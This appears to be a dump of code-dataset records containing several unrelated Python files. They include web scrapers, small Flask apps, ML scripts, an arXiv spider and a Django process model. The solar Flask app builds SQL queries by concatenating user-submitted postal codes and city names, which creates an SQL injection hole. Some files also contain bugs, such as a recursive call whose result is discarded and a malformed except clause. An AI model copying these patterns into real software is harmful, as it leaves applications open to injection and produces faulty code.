\"無此訂單\"}),400\n\t\telse:\n\t\t\tcnx.close()\n\t\t\treturn jsonify({\"error\":True,\"message\": \"未登入系統,拒絕存取\"}),403\n\n\ndef giveOrderNumber():\n\tcnx= cnxpool.get_connection()\n\tcursor = cnx.cursor()\n\ttoday=datetime.today().strftime('%Y%m%d')\n\trandomSixEndNum=random.randrange(100000, 999999, 6) \n\torderNumber=today+str(randomSixEndNum)\n\tcursor.execute(\"SELECT * FROM payStatus WHERE orderNumber = %s\",(orderNumber,))\n\trepeat=cursor.fetchone()\n\tif repeat:\n\t\tgiveOrderNumber()\n\telse:\n\t\tcnx.close()\n\t\treturn orderNumber\n\nif __name__==\"__main__\":\n\tapp.run(host=\"0.0.0.0\", port=3000)\n\t\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":14330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"590657600","text":"# -*- coding: utf-8 -*-\n\"\"\"\n playground.controller.daum_cartoon\n ~~~~~~~~~~~~~~~~~~~~~~~~~\n\n 다음 만화 내려받기\n\"\"\"\n\n\nfrom flask import render_template, request, current_app, session, redirect \\\n , url_for, Response\nfrom functools import wraps\nfrom werkzeug import check_password_hash\nfrom wtforms import Form, TextField, PasswordField, HiddenField, validators\n\nfrom playground.database import dao\nfrom playground.playground_logger import Log\nfrom playground.playground_blueprint import playground\nimport urllib.request, re, os, json\nfrom os import path\n\nurl = 'http://webtoon.daum.net/data/pc/webtoon/'\n\ndef saveToon(filename, imgURL):\n hdr = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0',\n 'Accept': 'image/png,image/*;q=0.8,*/*;q=0.5',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Referer': 'http://webtoon.daum.net/#day=wed&tab=day',\n 'Connection': 'keep-alive'}\n\n req = urllib.request.Request(imgURL, headers=hdr)\n\n try:\n img = urllib.request.urlopen(req)\n except(urllib.request.HTTPError, e):\n Log.error(e.fp.read())\n\n file = open(filename, 'wb')\n file.write(img.read())\n file.close()\n\n\ndef get_daum_cartoon_id_list(title_id):\n if not os.access(title_id, os.F_OK):\n os.makedirs(title_id)\n\n resource = urllib.request.urlopen('%sview/%s?timeStamp=' % (url, title_id))\n listhtml = resource.read().decode('UTF-8')\n listjson = json.loads(listhtml)\n ids = []\n for episode in listjson['data']['webtoon']['webtoonEpisodes']:\n ids.append(episode['id'])\n ids.sort()\n\n return ids\n\n \n@playground.route('/daum_cartoon')\ndef daum_cartoon_form():\n \"\"\"다음 만화 목록 표시해야하지만,\n 일단 만화 아이디 받아서 내려받기\"\"\"\n \n return render_template('daum_cartoon.html')\n\n\n@playground.route('/daum_cartoon', methods=['POST'])\ndef daum_cartoon():\n title_id = request.form['title_id']\n total = len(get_daum_cartoon_id_list(title_id))\n\n Log.info('다음만화 다운로드 : ' + title_id)\n \n return render_template('daum_cartoon_download.html',\n title_id=title_id,\n total=total)\n\n\n@playground.route('/daum_cartoon_download//')\ndef daum_cartoon_download(title_id, total) :\n ids = get_daum_cartoon_id_list(title_id)\n\n \n def generate(ids, title_id, total):\n for no, epid in enumerate(ids):\n resource = urllib.request.urlopen('%s/viewer_images/%s' % (url, epid)).read()\n ephtml = resource.decode('UTF-8')\n epjson = json.loads(ephtml)\n if epjson['data'] :\n for epimage in epjson['data']:\n fileName = '%s/%s%s.png' % \\\n (title_id, str(no+1).zfill(4), str(epimage['imageOrder']).zfill(2))\n saveToon(fileName, epimage['url'])\n yield \"data:\" + str(no+1) + \"\\n\\n\"\n\n \n return Response(generate(ids, title_id, total), mimetype='text/event-stream')\n","sub_path":"controller/daum_cartoon.py","file_name":"daum_cartoon.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624539520","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nTool used to manage metadata for Plot Twist\n\"\"\"\n\nfrom __future__ import print_function, division, absolute_import\n\n__author__ = \"Tomas Poveda\"\n__license__ = \"MIT\"\n__maintainer__ = \"Tomas Poveda\"\n__email__ = \"tpovedatd@gmail.com\"\n\nimport artellapipe\nfrom artellapipe.tools.tagger import tagger\n\n\nclass PlotTwistTagger(tagger.ArtellaTagger, object):\n def __init__(self, project):\n super(PlotTwistTagger, self).__init__(project=project)\n\n\ndef run():\n win = PlotTwistTagger(artellapipe.plottwist)\n win.show()\n return win\n","sub_path":"source/plottwist/pipeline/tools/tagger/tagger.py","file_name":"tagger.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"399811405","text":"# Alex\n#\n# run_Ensemble_LeNet5_FF_1.py\n# EE569\n#\n# Created by Alex on 2019/4/13.\n# Copyright 2019 Alex. All rights reserved.\n#\n# ensemble FF-CNN using by add 9 laws filter as feature\n\nfrom __future__ import print_function\nimport numpy as np\nimport keras\nfrom keras import backend as K\nimport tensorflow as tf\nfrom keras.datasets import mnist\nfrom Getkernel_compact import GetKernel\nfrom Getfeature_compact import GetFeature\nfrom Getweight_compact import GetWeight\nfrom data import *\nfrom LeNet5_FF import *\nimport os\nimport cv2\nimport sklearn\nfrom sklearn.decomposition import PCA\nfrom numpy import linalg as LA\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\n\n# seperate into 10 class\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nx_train = x_train.reshape(x_train.shape[0], 28, 28)\n\nx_train_sep, y_train_sep = SeparateDate(x_train, y_train)\n\n# use subset for faster compution\nx_train = x_train_sep[0:20000]\ny_train = y_train_sep[0:20000]\n\nx_test = x_test.reshape(x_test.shape[0], 28, 28)\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\ny_train = y_train.astype('int32')\n\ntrain_images_s = LawsFilter(x_train)\ntrain_labels = keras.utils.to_categorical(y_train, 10)\ntrain_images = np.pad(train_images_s, ((0,0),(0,0),(2,2),(2,2),(0,0)), mode='constant')\n\ntest_images = np.array(LawsFilter(x_test))\ntest_labels = keras.utils.to_categorical(y_test, 10)\n\nprediction = []\nprediction1 = []\n\nclass_weight = np.array([0.9704, 0.9499, 0.9284, 0.9015, 0.8651,\n 0.9615, 0.9549, 0.9380, 0.9190, 0.8774])\nfor i in range(0,10):\n kernel_name = './weight/pca_params_compact_'+str(i)+'.pkl'\n feature_name = './weight/feat_compact_'+str(i)+'.pkl'\n weight_name = './weight/llsr_weights_compact_v2_'+str(i)+'.pkl'\n bias_name = './weight/llsr_bias_compact_v2_'+str(i)+'.pkl'\n \n GetKernel(train_images[i],\n train_labels,\n [0,1,2,3,4,5,6,7,8,9],\n kernel_name)\n GetFeature(kernel_name,\n feature_name,\n train_images[i])\n\n GetWeight(feature_name,\n weight_name,\n bias_name,\n y_train)\n \n print('start %2d th test'%(i+1))\n pred1, pred = LeNet5_FF(kernel_name,\n weight_name,\n bias_name,\n train_images_s[i],\n train_labels,\n test_images[i],\n test_labels)\n #prediction += class_weight[i]*pred\n\n\n prediction.append(class_weight[i]*pred)\n prediction1.append(class_weight[i]*pred1)\n\nprediction1 = np.array(prediction1)\nprediction = np.array(prediction)\n\nprint(prediction1.shape)\nprediction1 = np.moveaxis(prediction1, 0, 2)\nprediction1 = prediction1.reshape(-1,100)\n\nprediction = np.moveaxis(prediction, 0, 2)\nprediction = prediction.reshape(-1,100)\nprint(prediction1.shape)\n\n\nlabels = keras.utils.to_categorical(y_train, 10)\nweight = np.matmul(LA.pinv(prediction1), labels).astype(np.float32)\nprediction1 = np.matmul(prediction1, weight)\npred_labels = np.argmax(prediction1, axis=1)\nacc_train = sklearn.metrics.accuracy_score(y_train, pred_labels)\nprint('training acc is {}'.format(acc_train))\n\n'''\n pca = PCA(n_components=10, svd_solver='full')\n prediction = pca.fit_transform(prediction, 10)\n '''\nprint(weight.shape)\nprediction = np.dot(prediction, weight)\n\nypred = np.eye(10)[np.argmax(prediction, axis=1)]\nacc = np.sum(ypred*test_labels)/ypred.shape[0]\nprint('ensemble: %5f' %acc)\n\nCompOverlap(ypred, test_labels, test_images[0])\n\n\n","sub_path":"EE569/Homework6/run_Ensemble_LeNet5_FF_1.py","file_name":"run_Ensemble_LeNet5_FF_1.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"560683949","text":"import requests\nimport mimetypes\nimport os\nimport datetime\nimport bs4\n\n\nclass Wypok:\n app_key = 'aNd401dAPp'\n secret = '3lWf1lCxD6'\n main_url = 'http://a.wykop.pl/'\n request_type = 'search/entries/'\n directory = ''\n\n def __init__(self, app_gui, config, saved):\n self.app_gui = app_gui\n self.updated_saved = False\n self.saved = saved\n self.config = config\n self.tag = None\n\n def set_directory(self, tag):\n if not os.path.exists(self.config.pic_path):\n os.mkdir(self.config.pic_path)\n if not os.path.exists(\"{}/{}/\".format(self.config.pic_path, tag)):\n os.mkdir(\"{}/{}/\".format(self.config.pic_path, tag))\n self.directory = \"{}/{}/\".format(self.config.pic_path, tag)\n\n def download_loop(self, tag, min_plus_count, target_count=None, days=None, last=None):\n match_count = 0\n entry_count = 0\n page = 1\n curdate = datetime.date.today()\n self.updated_saved = False\n if last is None:\n last = ''\n\n while True:\n url = self.main_url + self.request_type + 'appkey,' + self.app_key + ',page,{}'.format(page)\n result = requests.post(url, data={'q': '#{}'.format(tag)})\n if len(result.json()) == 0:\n self.app_gui.console_print(\"Ukończono pobieranie {} elementów.\".format(match_count))\n self.app_gui.console_print(\"Przeszukane wpisy: {}.\".format(entry_count))\n self.app_gui.console_print(\"Brak następnych wpisów spełniających warunki.\")\n return\n\n if target_count is not None:\n for r in result.json():\n entry_count += 1\n if int(r['vote_count']) < int(min_plus_count):\n continue\n if match_count >= int(target_count):\n self.app_gui.console_print(\"Ukończono pobieranie {} elementów.\".format(match_count))\n self.app_gui.console_print(\"Przeszukane wpisy: {}.\".format(entry_count))\n return\n if not r['embed']: # wpis nie zawiera zdjecia\n continue\n match_count += 1\n img = r['embed']['url']\n if not self.updated_saved:\n self.saved.update_saved(tag, r['id'])\n self.updated_saved = True\n self.download_picture(img, r['author'], r['vote_count'], r['date'])\n\n elif days is not None:\n for r in result.json():\n entry_count += 1\n if int(r['vote_count']) < int(min_plus_count):\n continue\n entry_date = datetime.date(year=int(r['date'][0:4]), month=int(r['date'][5:7]),\n day=int(r['date'][8:10]))\n day_diff = curdate - entry_date\n if int(days) < day_diff.days:\n self.app_gui.console_print(\"Ukończono pobieranie {} elementów.\".format(match_count))\n self.app_gui.console_print(\"Przeszukane wpisy: {}.\".format(entry_count))\n return\n if not r['embed']: # wpis nie zawiera zdjecia\n continue\n match_count += 1\n img = r['embed']['url']\n if not self.updated_saved:\n self.saved.update_saved(tag, r['id'])\n self.updated_saved = True\n self.download_picture(img, r['author'], r['vote_count'], r['date'])\n else:\n for r in result.json():\n entry_count += 1\n if int(r['vote_count']) < int(min_plus_count):\n continue\n if last == str(r['id']):\n self.app_gui.console_print(\"Znaleziono wpis o id {}. Wyszukiwanie zakończone.\".format(last))\n self.app_gui.console_print(\"Ukończono pobieranie {} elementów.\".format(match_count))\n self.app_gui.console_print(\"Przeszukane wpisy: {}.\".format(entry_count))\n return\n if not r['embed']: # wpis nie zawiera zdjecia\n continue\n match_count += 1\n img = r['embed']['url']\n if not self.updated_saved:\n self.saved.update_saved(tag, r['id'])\n self.updated_saved = True\n self.download_picture(img, r['author'], r['vote_count'], r['date'])\n\n page += 1\n\n def download_picture(self, url, author, votes, date):\n response_img = requests.get(url)\n extension = mimetypes.guess_extension(response_img.headers['content-type'])\n if extension == '.jpe':\n extension = '.jpg'\n elif extension == '.rdf':\n extension = '.webm'\n elif extension is None:\n if 'gfycat' in url:\n soup = bs4.BeautifulSoup(response_img.text, 'html.parser')\n url = soup.find(class_='video media').find(type='video/webm')['src']\n else:\n print(extension, url)\n return\n self.download_picture(url, author, votes, date)\n return\n\n self.app_gui.console_print(\"Znaleziono {} od {} (+{})\".format(extension[1:], author, votes))\n with open('{}{} {} +{} {}'.format(self.directory, date[:11], author, votes, extension), 'wb') as file:\n file.write(response_img.content)\n\n def process_input(self, tag, min_plus_count, filter_option, filter_answer):\n self.set_directory(tag)\n if filter_option == 1:\n self.app_gui.console_print(\"Szukam {} obrazków w tagu {} posiadających wiecej niż {} plusów\".format(filter_answer, tag, min_plus_count))\n self.download_loop(tag, min_plus_count, target_count=filter_answer)\n elif filter_option == 2:\n self.app_gui.console_print(\"Szukam obrazków z {} ostatnich dni w tagu {} posiadających wiecej niż {} plusów\".format(filter_answer, tag, min_plus_count))\n self.download_loop(tag, min_plus_count, days=filter_answer)\n elif filter_option == 3:\n try:\n last = self.saved.saved_dict[tag]\n self.app_gui.console_print(\"Szukam obrazków z tagu {} posiadających wiecej niż {} plusów, aż do znalezienia wpisu z id {}\".format(tag, min_plus_count, last))\n except KeyError:\n last = None\n self.app_gui.console_print(\"Szukam obrazków z tagu {} posiadających wiecej niż {} plusów. Ostatni obrazek z tego tagu nie był zapisany, szukanie odbędzie się do momentu wystąpienia błędu.\".format(tag, min_plus_count))\n self.download_loop(tag, min_plus_count, last=last)\n\n","sub_path":"wypok.py","file_name":"wypok.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"201389101","text":"from structure.Graph import Graph\nfrom structure.Node import Node\nfrom colors.Color import ColorPair\nfrom exceptions.NoMoreColorsException import NoMoreColorsException\n\n\ndef greedy_coloring(graph: Graph):\n colors = __get_list_colors()\n for i in graph.nodes:\n i.color = __paint(i, colors)\n\n\ndef __get_list_colors():\n colors = list()\n for color in ColorPair:\n colors.append(color)\n return colors\n\n\ndef __paint(node: Node, colors: list):\n colors_adjacent = list()\n for current in node.adjacent_nodes:\n colors_adjacent.append(current.color)\n for color in colors:\n if __not_adjacent(color, colors_adjacent):\n return color\n raise NoMoreColorsException()\n\n\ndef __not_adjacent(color, colors_adjacent):\n counter = 0\n for current_color in colors_adjacent:\n if color != current_color:\n counter += 1\n return counter == len(colors_adjacent)\n","sub_path":"algorithms/GreedyColoring.py","file_name":"GreedyColoring.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"333055534","text":"# coding: utf-8\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\n\n\ndef load_data():\n \"\"\" load the data\n \"\"\"\n digits = datasets.load_digits()\n return digits.data, digits.target\n\n\ndef load_graph(x, y, clf):\n \"\"\" load the graph\n \"\"\"\n # and plot the result\n plt.figure(1, figsize=(4, 3))\n plt.clf()\n plt.scatter(x.ravel(), y, color='black')\n x_test = np.linspace(-5, 10, 300)\n model = lambda x: 1 / (1 + np.exp(-x))\n loss = model(x_test * clf.coef_ + clf.intercept_).ravel()\n plt.plot(x_test, loss, color='red', linewidth=3)\n plt.axhline(.5, color='.5')\n plt.ylabel('y')\n plt.xlabel('x')\n plt.tight_layout()\n plt.show()\n\n\ndef logistik_part(X, y):\n \"\"\" use sklearn to do a logistique regression\n \"\"\"\n clf = LogisticRegression(solver='lbfgs')\n return clf.fit(X, y)\n\n\ndef main():\n x, y = load_data()\n split = train_test_split(x, y)\n X = []\n for data1 in split[0]:\n for data2 in data1:\n X.append(int(data2))\n X = np.array(X)\n y = (X > 0).astype(np.float)\n X = X[:, np.newaxis]\n clf = logistik_part(X, y)\n load_graph(X, y, clf)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"logistic_regression/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375501738","text":"from flask import Flask, render_template, request\nfrom compute import *\nimport sqlite3\nimport re\n\n# Create the application object\napp = Flask(__name__)\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef home_page(): \n return render_template('index.html')\n\n@app.route('/output', methods=[\"GET\", \"POST\"])\ndef tag_output():\n# \n\n # init variables\n city = ''\n postal_code1 = ''\n size_kw = ''\n tilt = ''\n azimuth = ''\n latitude = ''\n postal_code = ''\n \n # Pull input\n city = request.form[\"city\"] \n postal_code1 = request.form[\"postal_code\"]\n province = request.form[\"province\"]\n size_kw = request.form[\"size\"]\n tilt = request.form[\"tilt\"]\n azimuth = request.form[\"azimuth\"]\n\n print(city, postal_code1, province, size_kw, tilt, azimuth)\n \n city_str = '\"' + city + '\"'\n \n conn = sqlite3.Connection(\"./models/nrel_data.db\")\n\n # clean possible whitespaces\n postal_code1 = postal_code1.strip()\n\n # test if the postal code with data exists in the db \n if postal_code1 != '':\n postal_code = process_postal_code(postal_code1)\n try:\n latitude = pd.read_sql(\"SELECT * FROM postal_codes_on2 WHERE fsa = \" + postal_code, con=conn)[['Latitude']].values[0][0]\n except IndexError:\n latitude = '' \n try:\n nrel_data_point = pd.read_sql(\"SELECT * FROM nrel_data WHERE Zipcode = \" + postal_code, con=conn)\n except IndexError:\n latitude = ''\n elif city != '':\n # if no postal code is provided get one by using the city info \n try:\n postal_code1 = pd.read_sql(\"SELECT * FROM postal_codes_on2 WHERE place_name = \" + city_str, con=conn)[['fsa']].values[0][0]\n postal_code = process_postal_code(postal_code1)\n latitude = pd.read_sql(\"SELECT * FROM postal_codes_on2 WHERE fsa = \" + postal_code, con=conn)[['Latitude']].values[0][0]\n except IndexError:\n latitude = ''\n \n if (city != '' and postal_code != ''):\n print(city_str, postal_code)\n try:\n latitude = pd.read_sql(\"SELECT * FROM postal_codes_on2 WHERE fsa = \" + postal_code + \" OR place_name = \" + city_str, con=conn)[['Latitude']].values[0][0]\n except IndexError:\n latitude = '' \n \n \n # Case if empty\n if size_kw == '' or tilt == '' or azimuth == '' or latitude == '':\n return render_template(\"index.html\",\n my_input = postal_code,\n my_form_result=\"Empty\")\n else: \n sol_energy, cost, savings, be1, be2, optimum_tilt = get_prediction(postal_code, size_kw, tilt, azimuth, latitude)\n print(be1, be2)\n if sol_energy < 0:\n sol_energy = 'Inefficient direction/azimuth'\n savings = '-'\n cost= '-'\n cost_ci = '-'\n be1='-'\n be2='-'\n optimum_tilt='-'\n return render_template(\"index.html\",\n sol_energy=sol_energy,\n savings = savings,\n cost=cost,\n cost_ci = cost_ci, \n be1=be1,\n be2=be2,\n optimum_tilt=optimum_tilt,\n my_form_result=\"NotEmpty\")\n else:\n return render_template(\"index.html\",\n sol_energy=int(round(sol_energy[0], 0)),\n savings = int(round(savings[0], 0)),\n cost=int(round(cost[0], 1)),\n cost_ci=int(round(cost[0]*0.1527, 1)),\n b1 = round((be1[0] + be2[0])/2, 1),\n b2 = round((be2[0] - be1[0])/2, 1), \n optimum_tilt=int(round(optimum_tilt, 0)),\n my_form_result=\"NotEmpty\")\n\n\n# start the server with the 'run()' method\nif __name__ == \"__main__\":\n app.run(debug=True) #will run locally http://127.0.0.1:5000/\n\n","sub_path":"webapp/solar/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"582221764","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of hepcrawl.\n# Copyright (C) 2016 CERN.\n#\n# hepcrawl is a free software; you can redistribute it and/or modify it\n# under the terms of the Revised BSD License; see LICENSE file for\n# more details.\n\n\"\"\"Spider for arXiv.\"\"\"\n\nfrom scrapy import Request, Selector\nfrom scrapy.spiders import XMLFeedSpider\nfrom ..mappings import CONFERENCE_PAPERS\nfrom ..utils import get_first\n\nfrom ..items import HEPRecord\nfrom ..loaders import HEPLoader\n\n\nclass ArxivSpider(XMLFeedSpider):\n \"\"\"Spider for crawling arXiv.org OAI-PMH XML files.\n\n .. code-block:: console\n\n scrapy crawl arXiv -a source_file=file://`pwd`/tests/responses/arxiv/sample_arxiv_record.xml\n\n \"\"\"\n\n name = 'arXiv'\n iterator = 'xml'\n itertag = 'OAI-PMH:record'\n namespaces = [\n (\"OAI-PMH\", \"http://www.openarchives.org/OAI/2.0/\")\n ]\n\n def __init__(self, source_file=None, **kwargs):\n \"\"\"Construct Arxiv spider.\"\"\"\n super(ArxivSpider, self).__init__(**kwargs)\n self.source_file = source_file\n\n def start_requests(self):\n yield Request(self.source_file)\n\n def parse_node(self, response, node):\n \"\"\"Parse an arXiv XML exported file into a HEP record.\"\"\"\n node.remove_namespaces()\n\n record = HEPLoader(item=HEPRecord(), selector=node)\n record.add_xpath('title', './/title/text()')\n record.add_xpath('abstract', './/abstract/text()')\n record.add_xpath('preprint_date', './/created/text()')\n record.add_xpath('dois', './/doi//text()')\n record.add_xpath('pubinfo_freetext', './/journal-ref//text()')\n record.add_value('source', 'arXiv')\n\n authors, collabs = self._get_authors_or_collaboration(node)\n record.add_value('authors', authors)\n record.add_value('collaborations', collabs)\n\n pages, notes, doctype = self._get_comments_info(node)\n record.add_value('page_nr', pages)\n record.add_value('public_notes', notes)\n record.add_value('journal_doctype', doctype)\n\n record.add_value('report_numbers', self._get_arxiv_report_numbers(node))\n\n categories = node.xpath('.//categories//text()').extract_first().split()\n record.add_value('field_categories', categories)\n record.add_value('arxiv_eprints', self._get_arxiv_eprint(node, categories))\n record.add_value('external_system_numbers', self._get_ext_systems_number(node))\n\n license_str, license_url = self._get_license(node)\n record.add_value('license', license_str)\n record.add_value('license_url', license_url)\n\n return record.load_item()\n\n def _get_authors_or_collaboration(self, node):\n author_selectors = node.xpath('.//authors//author')\n\n authors = []\n collaboration = []\n for selector in author_selectors:\n author = Selector(text=selector.extract())\n forenames = get_first(author.xpath('.//forenames//text()').extract(), default='')\n keyname = get_first(author.xpath('.//keyname//text()').extract(), default='')\n\n # Check if keyname is a collaboration, else append to authors\n collab_phrases = ['consortium', 'collab', 'collaboration', 'team', 'group', 'for the']\n collab_found = any(phrase for phrase in collab_phrases if phrase in keyname.lower())\n\n if collab_found:\n collaboration.append(keyname)\n else:\n authors.append({\n 'surname': keyname,\n 'given_names': forenames,\n })\n return authors, collaboration\n\n def _get_comments_info(self, node):\n comments = get_first(node.xpath('.//comments//text()').extract(), default='')\n notes = {\n 'source': 'arXiv',\n 'value': comments\n }\n\n page_nr = get_first(comments.split(), default='')\n pages = page_nr if 'pages' in comments and page_nr.isdigit() else ''\n\n doctype = 'arXiv' # TODO: check out what happens here\n if any(paper for paper in CONFERENCE_PAPERS if paper in comments):\n doctype = 'ConferencePaper'\n return pages, notes, doctype\n\n def _get_arxiv_report_numbers(self, node):\n report_numbers = node.xpath('.//report-no//text()').extract_first()\n if report_numbers:\n return [rn for rn in report_numbers.split(',')]\n return []\n\n def _get_arxiv_eprint(self, node, categories):\n return {\n 'value': node.xpath('.//id//text()').extract_first(),\n 'categories': categories\n }\n\n def _get_license(self, node):\n license_url = node.xpath('.//license//text()').extract_first()\n license_str = ''\n licenses = { # TODO: more licenses here?\n 'creativecommons.org/licenses/by/3.0': 'CC-BY-3.0',\n 'creativecommons.org/licenses/by-nc-sa/3.0': 'CC-BY-NC-SA-3.0'\n }\n\n for key in licenses.keys():\n if key in license_url:\n license_str = licenses[key]\n break\n return license_str, license_url\n\n def _get_ext_systems_number(self, node):\n return {\n 'institute': 'arXiv',\n 'value': node.xpath('.//identifier//text()').extract_first()\n }\n","sub_path":"hepcrawl/spiders/arxiv_spider.py","file_name":"arxiv_spider.py","file_ext":"py","file_size_in_byte":5280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"165557501","text":"# -*- coding:utf-8 -*-\n\nimport sys\nfrom scrapy import cmdline\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\nname = 'dytt8'\nkeyword = ''\ncmd = 'scrapy crawl %s -o res.json -a keyword=' % name\ncmdline.execute(cmd.split())","sub_path":"python/spider/dytt8/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164963856","text":"import socket\nimport os\nimport sys\n\nsys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 1) # Line-buffer output to STDOUT.\nlistener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nlistener.bind(('0.0.0.0', 8080))\nlistener.listen(5)\nwhile 1:\n (socket,address) = listener.accept() # Wait til a client connects, then open a socket.\n print(\"FROM THE CLIENT:\\n\" + socket.recv(1024))\n socket.send(\"Hello, world\\n\".encode('utf8'))\n print(\"SERVER: Sent 'Hello, world' response to client\")\n socket.close()\nprint(\"SERVER: now I'm exiting\")\n","sub_path":"03.0-very-simple-http-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"34317016","text":"import datetime\nimport logging\nimport os\nimport re\nimport secrets\nimport shutil\nimport xml.etree.ElementTree as ET\nimport zipfile\n\nimport pytz\nfrom clam.common import status\nfrom django.conf import settings\nfrom django.db import models\nfrom processes.tasks import update_script\nfrom projects.models import File, Project\nfrom scripts.models import (\n Script,\n InputTemplate,\n BaseParameter,\n Profile,\n OutputTemplate,\n)\n\n\nclass Process(models.Model):\n \"\"\"\n Database model for processes in CLAM.\n\n Attributes:\n name Name of the process.\n Used for identification only, can be anything.\n clam_id Identification number given by CLAM.\n output_path Path to the primary output file (e.g. output/error.log)\n \"\"\"\n\n STATUS_CREATED = 0\n STATUS_UPLOADING = 1\n STATUS_RUNNING = 2\n STATUS_WAITING = 3\n STATUS_DOWNLOADING = 4\n STATUS_FINISHED = 5\n STATUS_ERROR = -1\n STATUS_ERROR_DOWNLOAD = -2\n\n STATUS = (\n (STATUS_CREATED, \"Created\"),\n (STATUS_UPLOADING, \"Uploading files to CLAM\"),\n (STATUS_RUNNING, \"Running\"),\n (STATUS_WAITING, \"Waiting for download from CLAM\"),\n (STATUS_DOWNLOADING, \"Downloading files from CLAM\"),\n (STATUS_FINISHED, \"Finished\"),\n (STATUS_ERROR, \"Error\"),\n (STATUS_ERROR_DOWNLOAD, \"Error while downloading files from CLAM\"),\n )\n\n script = models.ForeignKey(\n Script,\n on_delete=models.CASCADE,\n blank=False,\n null=False,\n help_text=\"The Script for which this Process is \" \"being ran.\",\n )\n project = models.ForeignKey(\n Project,\n on_delete=models.CASCADE,\n blank=False,\n null=False,\n help_text=\"The Project for which this Process is\" \"being ran.\",\n )\n clam_id = models.CharField(\n max_length=256,\n null=True,\n default=None,\n help_text=\"The CLAM Project name that is being \"\n \"used on the CLAM server to run this \"\n \"Process.\",\n )\n status = models.IntegerField(\n choices=STATUS,\n default=0,\n help_text=\"The current status of this Process. This will \"\n \"be automatically mirrored with the CLAM server.\",\n )\n folder = models.FilePathField(\n allow_folders=True,\n allow_files=False,\n path=\"media/processes\",\n help_text=\"The folder to write all output files \" \"of this Process to.\",\n )\n created = models.DateTimeField(\n auto_now_add=True,\n null=False,\n blank=False,\n help_text=\"The time that this Process \" \"was created.\",\n )\n\n def __str__(self):\n \"\"\"Convert this object to string.\"\"\"\n return \"Process for {} ({})\".format(\n self.script, Process.STATUS[self.status][1]\n )\n\n @staticmethod\n def get_random_clam_id():\n \"\"\"\n Get a random 32 bit string.\n\n :return: a random 32 bit string\n \"\"\"\n return secrets.token_hex(32)\n\n def update_log_messages_from_xml(self, xml_data):\n \"\"\"\n Update the log messages of this process from the CLAM xml data.\n\n :param xml_data: the XML data send by CLAM including a tag with an arbitrary amount of tags\n :return: None\n \"\"\"\n try:\n # The clamclient does not have a way to retrieve the log messages so we will do it ourselves.\n xml = ET.fromstring(xml_data)\n for index, item in enumerate(\n reversed(list(xml.find(\"status\").iter(\"log\")))\n ):\n time = Process.parse_time_string(item.attrib[\"time\"])\n if not LogMessage.objects.filter(\n time=time, message=item.text, process=self, index=index\n ).exists():\n LogMessage.objects.create(\n time=time, message=item.text, process=self, index=index\n )\n except Exception as e:\n logging.error(\n \"Failed to parse XML response from CLAM server. Error: {}\".format(\n e\n )\n )\n\n @staticmethod\n def parse_time_string(time):\n \"\"\"\n Parse the time string that CLAM passes.\n\n :param time: the time string from CLAM\n :return: a timezone aware datetime object, None when a ValueError was encountered\n \"\"\"\n try:\n tz = pytz.timezone(settings.TIME_ZONE)\n return tz.localize(\n datetime.datetime.strptime(time, \"%d/%b/%Y %H:%M:%S\")\n )\n except ValueError:\n return None\n\n def set_status(self, status):\n \"\"\"\n Set the status for this process and save it to the Database.\n\n :param status: the status to set for this process\n :return: None\n \"\"\"\n self.status = status\n self.save()\n\n def set_clam_id(self, clam_id):\n \"\"\"\n Set the CLAM id for this process and save it to the Database.\n\n :param clam_id: the CLAM id to set for this process\n :return: None\n \"\"\"\n self.clam_id = clam_id\n self.save()\n\n def start_safe(self, profile, parameter_values=None):\n \"\"\"\n Start uploading files to CLAM and start the CLAM server in a safe way.\n\n Actually only executes the start() method and runs the cleanup() method when an exception is raised.\n :param profile: the profile to start this process with\n :param parameter_values: a dictionary of (key, value) pairs with the parameter values to fill in, only\n overwrites variable parameters\n :return: True when the process was started, False otherwise, raises a ValueError if there was an error with the\n input templates, raises an Exception if there was an error when uploading files to CLAM or when starting the\n CLAM server, raises a ParameterException if one or more parameters are not satisfied\n \"\"\"\n try:\n return self.start(profile, parameter_values=parameter_values)\n except Exception as e:\n 